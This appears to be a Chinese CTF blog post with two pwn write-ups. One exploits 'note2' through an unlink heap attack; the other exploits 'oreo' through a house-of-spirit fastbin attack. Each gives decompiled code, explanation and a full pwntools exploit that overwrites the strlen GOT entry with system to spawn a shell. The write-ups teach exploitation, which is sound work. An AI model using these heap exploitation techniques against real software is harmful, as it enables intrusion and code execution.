分类 Other CTFs 下的文章

算是unlink的一道经典题目,借助这道题来整理一下Unlink任意写的基本使用方法与注意事项。exp参照官方wp做了调整。

这里不对题目本身做太多逆向分析,下面是下载链接,包含了题目和exp:
点击下载

0x00 Unlink的原理

unlink的过程

Unlink顾名思义就是把元素从链表取出的一种操作,这种操作常常发生在malloc和执行free后内存块合并的过程。这是unlink的流程图:

可以简单归结为FD->bk = fd , BK->fd = bk ,也就是指针值的传递。

向低地址合并

这里着重讨论见得较多的情况:向前合并。

如果被free的是一个非fastbin大小的内存块,将会优先从内存低地址区域寻找空闲部分进行合并(尔后再尝试向高地址合并)。向低地址合并前,被合并的块(位于高地址)需要经过一些检查,这些检查也是我们构造exp时要注意绕过的地方:

检查目标检查条件报错信息
size vs prev_sizechunksize(P) != prev_size (next_chunk(P))corrupted size vs. prev_size
Fd, bk 双向链表检查FD->bk != P || BK->fd != Pcorrupted double-linked list
nextsize 双向链表P->fd_nextsize->bk_nextsize != P || P->bk_nextsize->fd_nextsize != Pcorrupted double-linked list (not small)

主要关注前两项,也就是内存块大小检查双链表完整性检查

  • 内存块大小的检查是通过读取被检查内存块的nextchunk的prevsize与自身size作比较,而“prevsize”(不一定是真的prevsize)的位置又是由size决定。于是我们就可以在原有的chunk中利用可写的部分伪造出一个fake_chunk,在这个chunk的末尾pad上一个fake_prevsize,从而绕过了对被合并内存块的大小检查。
  • 双向链表的完整性检查其实通俗而言就是检查:上一个节点的下一个节点是不是自己,下一个节点的上一个节点是不是自己。这个检查通过对前后节点bk,fd域和自身起始地址的比较实现。意味着,只要找到静态数据区域中记录了本区块地址的位置addr,构造 p->fd = addr-0x18 和 p->bk = addr-0x10就可以绕过该检查

关于为什么要unlink

这是glibc实现向前合并的部分代码:

        /* consolidate backward */
        if (!prev_inuse(p)) {
            prevsize = prev_size(p);
            size += prevsize;
            p = chunk_at_offset(p, -((long) prevsize));
            unlink(av, p, bck, fwd);
        }

其实我不能从linux开发者的角度而言完整的解释unlink存在的必要性。但是通过对bins特性的分析可以知道,通常bins中链接的是大小相同的chunk,当合并动作发生,改变了原有chunk的大小,就需要脱出原先的bins(unlink),加入unsortedbin中,减少内存中的碎片。需要注意的是,如果向前合并后发现向后可以直接合并进入top chunk那么将会整个进入top chunk,调试的时候要留心一下。

0x01 题目分析

首先要想构造fakechunk起码得找个能堆溢出的地方,一开始检查了好几遍输入函数都没发现整数溢出(还是题见得少)。

unsigned __int64 __fastcall get_input(__int64 ptr, __int64 len, char EOF)
{
  char endchar; // [rsp+Ch] [rbp-34h]
  char buf; // [rsp+2Fh] [rbp-11h]
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t num; // [rsp+38h] [rbp-8h]

  endchar = EOF;
  for ( i = 0LL; len - 1 > i; ++i )             // i是无符号的,在做比较的时候会化为无符号比较,若len为0,则len-1为0xFFFFFFFFFFFFFFFF,导致条件永真,堆溢出
  {
    num = read(0, &buf, 1uLL);
    if ( num <= 0 )
      exit(-1);
    if ( buf == endchar )
      break;
    *(_BYTE *)(i + ptr) = buf;
  }
  *(_BYTE *)(ptr + i) = 0;
  return i;
}

这个函数中,for循环的 i 是无符号整数,在与len-1作比较时会先将len-1也转化为无符号类型,这时候如果len传入1,len-1将变成0xFFFFFFFFFFFFFFFF,使得表达式恒成立,可以不加限制地进行输入,导致了堆块的溢出。

该程序会将申请到的堆块指针和申请的大小保存在全局变量区,修改这部分内容可能可以利用程序自身的edit功能进行任意写。

顺带一提,程序关闭了GOT表保护,这提示了我们可以通过改写got表来getshell。

0x02 exp思路

这题的堆块创建次数最多4次,所以不太方便用fastbin attack进行任意写,于是尝试unlink。

构造任意写到全局变量

chunk[0] 首先需要一个容纳fakechunk的内存块,我们设想的fakechunk只需要包含一个fastchunk + 一个fake_prevsize域就够了。同时要留意,我们后面的步骤可能要借助edit功能写某些地址,所以申请的size可以大一些,不然可能到时可写的字节数不够。经过计算,申请0x40获得一个0x50的块是最划算的大小。

chunk[1] 其次需要利用整数溢出,申请大小为“0”的块达到无限制输入。但是由于堆的分配机制,会给用户分配0x20大小的堆块。

chunk[2] 最后需要一个0x90(申请0x80)的small chunk,这样释放之后才能触发向前合并从而触发unlink

按照上文在chunk[0]中将fakechunk的fd和bk设置为:&chunk[0]-0x18,&chunk[0]-0x10,并利用溢出修改chunk[2]的prevsize和prev_inuse域。此时free掉chunk[2]便可以触发unlink,使得原来存放 &chunk[0] 的地址存放了 &chunk[0]-0x18 。

只要用edit功能从chunk[0]-0x18开始往后写并覆盖chunk[0]为strlen@got的地址,再show chunk[0]就可以泄露libc拿到system地址。

同样的方法修改strlen@got的值为system地址,这时只要出现了strlen("/bin/sh\x00"); 就相当于执行了"system("/bin/sh\x00")"

exp

#!/usr/bin/python3

from pwn import *

p=process("./note2")
elf=ELF("./note2")
libc=ELF("./libc.so.6")

context.log_level="debug"

strlen_plt=elf.plt[b"strlen"]
strlen_got=elf.got[b"strlen"]

def new(content,length:int):
    p.recvuntil(b'option--->>')
    p.sendline(b"1")
    p.recvuntil(b"Input the length of the note content:(less than 128)\n")
    p.sendline(str(length).encode())
    p.recvuntil(b"Input the note content:\n")
    p.sendline(content)
    pass
    
def show(idx:int):
    p.recvuntil(b'option--->>')
    p.sendline(b"2")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    pass
    
def edit(idx:int,mode:int,content):
    p.recvuntil(b'option--->>')
    p.sendline(b"3")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    p.recvuntil(b"do you want to overwrite or append?[1.overwrite/2.append]\n")
    p.sendline(str(mode).encode())
    p.recvuntil(b"TheNewContents:")
    p.sendline(content)
    pass

def delete(idx:int):
    p.recvuntil(b'option--->>')
    p.sendline(b"4")
    p.recvuntil(b"Input the id of the note:\n")
    p.sendline(str(idx).encode())
    pass
    
def exp():
    name=b"aaaa"
    address=b"bbbb"
    p.recvuntil(b"Input your name:\n")
    p.sendline(name)
    p.recvuntil(b"Input your address:\n")
    p.sendline(address)
    
    #1 unlink
    list_head = 0x602120
    fake_fd = list_head-0x18
    fake_bk = list_head-0x10 #result: fake_bk->fd == fake_fd
    #payload1=b"a"*8+p64(0x61)+p64(fake_fd)+p64(fake_bk)+b'a'*64+p64(0x60)
    
    payload1=b"a"*8+p64(0x21)+p64(fake_fd)+p64(fake_bk)+p64(0x20)
    new(payload1,0x40) #idx0
    new(b"b"*0x8,0) #idx1
    new(b"c"*0x10,0x80) #idx2
    
    delete(1) # del idx1
    payload2=b"b"*0x10+p64(0x60)+p64(0x90)
    new(payload2,0) #idx3
    delete(2)
    
    #2 rewrite&leak
    payload3=b"d"*0x18+p64(strlen_got)
    edit(0,1,payload3)
    show(0)
    #gdb.attach(p)
    p.recvuntil(b"Content is ")
    strlen = u64(p.recvuntil(b"\n",drop=True).ljust(8,b"\x00"))
    system=libc.symbols[b"system"]-libc.symbols[b"strlen"]+strlen
    print("strlen@got: ",hex(strlen_got))
    print("strlen: ",hex(strlen))
    print("system: ",hex(system))
    
    #3 edit strlen@got to system
    payload4=p64(system)
    edit(0,1,payload4)
    edit(0,1,b"/bin/sh\x00") #trigger to use "strlen()" so that jump to system()
    
    #getshell
    p.interactive()
    
    
if __name__=="__main__":
    exp()

方法思路不唯一,欢迎补充。

题目很巧妙,而且很容易忽略一些细节导致掉进坑里出不来。本人在写的时候就遭遇了一些百思不得解的问题,而后通过慢慢的调试推演找到了问题所在地。在博客里?一下,防止以后再犯。

参考资料: https://wiki.x10sec.org/pwn/heap/fastbin_attack/

题目概况

题目名:2014_hack.lu_oreo

防护措施:

$ checksec oreo
[*] '/home/eqqie/CTF/ctf-challenges/pwn/heap/fastbin-attack/2014_hack.lu_oreo/oreo'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

RELRO是关的,说明很可能需要进行覆盖got表的操作。(常规套路lol)

代码审计

在IDA中逆向分析该程序的功能功能构成以及可能被利用的位置。

该程序是一个模拟线上枪支交易系统,可以新建枪支信息(name,description)以及提出Order,还可以写一段 message,以及查看 added rifles 和 state。看起来挺繁杂的,需要慢慢理清相互之间的关系。

相关函数信息:

1. Add new rifle

unsigned int add_new()
{
  char *prev_chunk; // [esp+18h] [ebp-10h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  prev_chunk = curr_chunk_ptr;
  curr_chunk_ptr = (char *)malloc(56u);
  if ( curr_chunk_ptr )
  {
    *((_DWORD *)curr_chunk_ptr + 13) = prev_chunk;// 最后四个字节保存上次申请的chunk的指针
    printf("Rifle name: ");
    fgets(curr_chunk_ptr + 25, 56, stdin);
    line_end_check(curr_chunk_ptr + 25);
    printf("Rifle description: ");
    fgets(curr_chunk_ptr, 56, stdin);
    line_end_check(curr_chunk_ptr);
    ++Rifle_count;
  }
  else
  {
    puts("Something terrible happened!");
  }
  return __readgsdword(0x14u) ^ v2;
}

2. Show added rifles

unsigned int show_added()
{
  char *i; // [esp+14h] [ebp-14h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  printf("Rifle to be ordered:\n%s\n", "===================================");
  for ( i = curr_chunk_ptr; i; i = (char *)*((_DWORD *)i + 13) )// 从最后一条记录开始向前遍历,知道prev_chunk_ptr为0,也就是遍历到第一条记录为止
  {
    printf("Name: %s\n", i + 25);
    printf("Description: %s\n", i);
    puts("===================================");
  }
  return __readgsdword(0x14u) ^ v2;
}

3. Order selected rifles

unsigned int order_selected()
{
  char *ptr; // ST18_4
  char *temp; // [esp+14h] [ebp-14h]
  unsigned int v3; // [esp+1Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  temp = curr_chunk_ptr;
  if ( Rifle_count )
  {
    while ( temp )
    {
      ptr = temp;
      temp = (char *)*((_DWORD *)temp + 13);    // 递归取得prev_chunk的指针并将curr_chunk释放掉
      free(ptr);
    }
    curr_chunk_ptr = 0;
    ++Order_count;                              // order总数增加
    puts("Okay order submitted!");
  }
  else
  {
    puts("No rifles to be ordered!");
  }
  return __readgsdword(0x14u) ^ v3;
}

4. Leave a Message with your Order

unsigned int message()
{
  unsigned int v0; // ST1C_4

  v0 = __readgsdword(0x14u);
  printf("Enter any notice you'd like to submit with your order: ");
  fgets(message_ptr, 128, stdin);
  line_end_check(message_ptr);
  return __readgsdword(0x14u) ^ v0;
}

5. Show current stats

unsigned int show_state()
{
  unsigned int v1; // [esp+1Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  puts("======= Status =======");
  printf("New:    %u times\n", Rifle_count);
  printf("Orders: %u times\n", Order_count);
  if ( *message_ptr )
    printf("Order Message: %s\n", message_ptr);
  puts("======================");
  return __readgsdword(0x14u) ^ v1;
}

6. menu

unsigned int menu()
{
  unsigned int v1; // [esp+1Ch] [ebp-Ch]

  v1 = __readgsdword(0x14u);
  puts("What would you like to do?\n");
  printf("%u. Add new rifle\n", 1);
  printf("%u. Show added rifles\n", 2);
  printf("%u. Order selected rifles\n", 3);
  printf("%u. Leave a Message with your Order\n", 4);
  printf("%u. Show current stats\n", 5);
  printf("%u. Exit!\n", 6);
  while ( 1 )
  {
    switch ( get_choice() )
    {
      case 1:
        add_new();
        break;
      case 2:
        show_added();
        break;
      case 3:
        order_selected();
        break;
      case 4:
        leave_message();
        break;
      case 5:
        show_state();
        break;
      case 6:
        return __readgsdword(0x14u) ^ v1;
      default:
        continue;
    }
  }
}

一条new rifle的记录结构如下:

00000000 rifle           struc ; (sizeof=0x38, mappedto_5)
00000000 descript        db 25 dup(?)
00000019 name            db 27 dup(?)
00000034 next            dd ?                    ; offset
00000038 rifle           ends

在bss段中有一个全局变量一只保存着当前最新的记录对应的chunk的指针,每个chunk尾部有一个next指针指向上一条记录的位置,在 Show added rifles 时便是利用next指针逐级向前显示之前的记录内容。

观察发现,在新增信息,也就是 Add new rifle 的时候,没有正确控制输入长度,导致存在堆溢出,可以修改堆尾部next指针的内容。这意味着只要我们修改next到某个已经完成延迟绑定的函数的got表位置,就可以利用 Show added rifles 泄露这个函数在内存中的位置,从而泄露其它函数如system在内存中的位置。

同时我们发现bss段的结构如下:

.bss:0804A288 curr_chunk_ptr  dd ?                    
.bss:0804A288                                         
.bss:0804A28C                 align 20h
.bss:0804A2A0 Order_count     dd ?                    
.bss:0804A2A0                                         
.bss:0804A2A4 Rifle_count     dd ?                   add_new+C5↑r
.bss:0804A2A4                                         
.bss:0804A2A8 ; char *message_ptr
.bss:0804A2A8 message_ptr     dd ?                    
.bss:0804A2A8                                         
.bss:0804A2AC                 align 20h
.bss:0804A2C0 message_area    db    ? ;               
.bss:0804A2C1                 db    ? ;
.bss:0804A2C2                 db    ? ;
.bss:0804A2C3                 db    ? ;
.bss:0804A2C4                 db    ? ;
.bss:0804A2C5                 db    ? ;
.bss:0804A2C6                 db    ? ;
.bss:0804A2C7                 db    ? ;
.bss:0804A2C8                 db    ? ;
.bss:0804A2C9                 db    ? ;
.bss:0804A2CA                 db    ? ;
.bss:0804A2CB                 db    ? ;
.bss:0804A2CC                 db    ? ;
.bss:0804A2CD                 db    ? ;
.bss:0804A2CE                 db    ? ;
.bss:0804A2CF                 db    ? ;
......

Order_count和Rifle_count长度都为4个字节(暗示可以作为chunk的头部),且Rifle_count的值和message_area的内容都可以被控制,这让我们想到可以利用house of sprit 在此处构造一个fake chunk并释放进入fastbin,经过再分配便可以修改messgae_ptr的值到任意可写的位置,这样当我们使用 Leave a Message with your Order 功能的时候就相当于任意地址写

由于RELRO关闭,如果我们找到一个合适的got表项覆盖为system函数的地址便可以getshell。观察发现strlen@got最适合完成此操作,其参数和system一样都为const char *s,且在 leave message 和 add new rifle 时都会调用到strlen统计输入内容的长度,这意味着"/bin/sh"字符串可从流中输入作为system的参数。

确定exp思路

  1. (泄露)add一条记录溢出修改next指针域到puts的got表,利用 Show added rifles 把got表的地址打印出来,再通过偏移计算出内存中system的地址。
  2. (构造fakechunk)
    2-1. 前面提到把 Order_count 和 Rifle_count 伪造成chunk头,那么根据题目中固定chunk的大小0x38可以确定,被伪造出来的chunk应该属于0x40的fastbin,所以要通过不断add把 Rifle_count 的值增加到0x40,但是要注意的是最后一条记录需要单独构造next指针域,因为之后通过free把fakechunk放进fastbin时需要通过这个next指针指向fakechunk,这样在free时就可以形成只含两个chunk的fastbin,便于再次malloc时获取到我们构造的fake chunk。

    2-2. 注意除了构造fakechunk,还要构造一个符合规则的next_size以及需要把fakechunk的next指针域设置为0,避免在free时发生莫名其妙的错误(由于这里被我忽略了,构造next_size时直接通过padding char的方式,导致了fakechunk的next指针域没有清零,卡了老半天)。

  3. (覆盖strlen的got表为system的地址) fakechunk构造好后利用 Order selected rifles free掉最后一个chunk以及其next指针指向的fakechunk。由于fakechunk是后释放的,只需要再add一次就可以获得它。并且在add时description的前4个字节就是message_ptr指针的值。只要将其设置为strlen@got的地址,再调用 Leave a Message with your Order 功能向strlen@got写入system的地址便完成了绑定。
  4. (getshell)这里有一个细节,也是我没注意的地方。因为 Leave a Message with your Order 本身在输入完message之后就会调用一次strlen计算message的长度。但是此处输入之后,strlen已经变成了system,那岂不是会发生system(system_addr)这样的乌龙?没错之前出现这个的问题的时候脑子没转过来,下意识以为exp中存在什么错误。反应过来后想到只需要在message后加上";/bin/sh\x00"(注意尾部填充\x00截断)就可以继续执行/bin/sh从而getshell !

完整exp

在python3-pwntool下编写,直接搬到py2注意bytes问题。
系统版本:Ubuntu 16.04 (glibc-2.23)

#!/usr/bin/python3
from pwn import *

p=process("./oreo")
elf=ELF("./oreo")
libc=ELF("./libc.so.6")

strlen_got=elf.got[b"strlen"]
log.success("strlen_got: %s"% hex(strlen_got))
puts_got=elf.got[b"puts"]
log.success("puts_got: %s"% hex(puts_got))
fake_chunk=0x0804A2A8
log.success("fake_chunk: %s"% hex(fake_chunk))

#context.log_level="debug"

def add(name,desc):
    p.sendline(b"1")
    p.sendline(name)
    p.sendline(desc)
    
def show_rifle():
    p.sendline(b"2")
    
def order():
    p.sendline(b"3")
    
def message(content):
    p.sendline(b"4")
    p.sendline(content)
    
def state():
    p.sendline(b"5")
    
    
def exp():
    print("==============exp start===============")
    
    print("***Leak glibc***")
    add(b"A"*27+p32(puts_got),b"a"*24)
    show_rifle()
    p.recvuntil(b"Description: ")
    p.recvuntil(b"Description: ")
    puts_addr=u32(p.recv(4))
    system_addr=libc.symbols[b"system"]-libc.symbols[b"puts"]+puts_addr
    binsh_addr=next(libc.search(b"/bin/sh"))-libc.symbols[b"puts"]+puts_addr
    log.success("puts_addr: %s"% hex(puts_addr))
    log.success("system_addr: %s"% hex(system_addr))
    log.success("binsh_addr: %s"% hex(binsh_addr))
    print("****************")
    
    for i in range(0x40-2):
        add(str(i+2).encode(),b"padding")
    add(b"A"*27+p32(fake_chunk),b"BBBBBBBB")

    message(b"C"*(0x0804A2A8+0x38+0x4-0x0804A2C0-0x8)+b"\x00"*8+p32(0x11))
    order()
    add(b"DDDD",p32(strlen_got))
    #gdb.attach(p)

    message(p32(system_addr)+b";/bin/sh\x00")
    #gdb.attach(p)
    print("==============exp end=================")
    p.interactive()
if __name__=="__main__":
    exp()

谢谢支持,欢迎指正!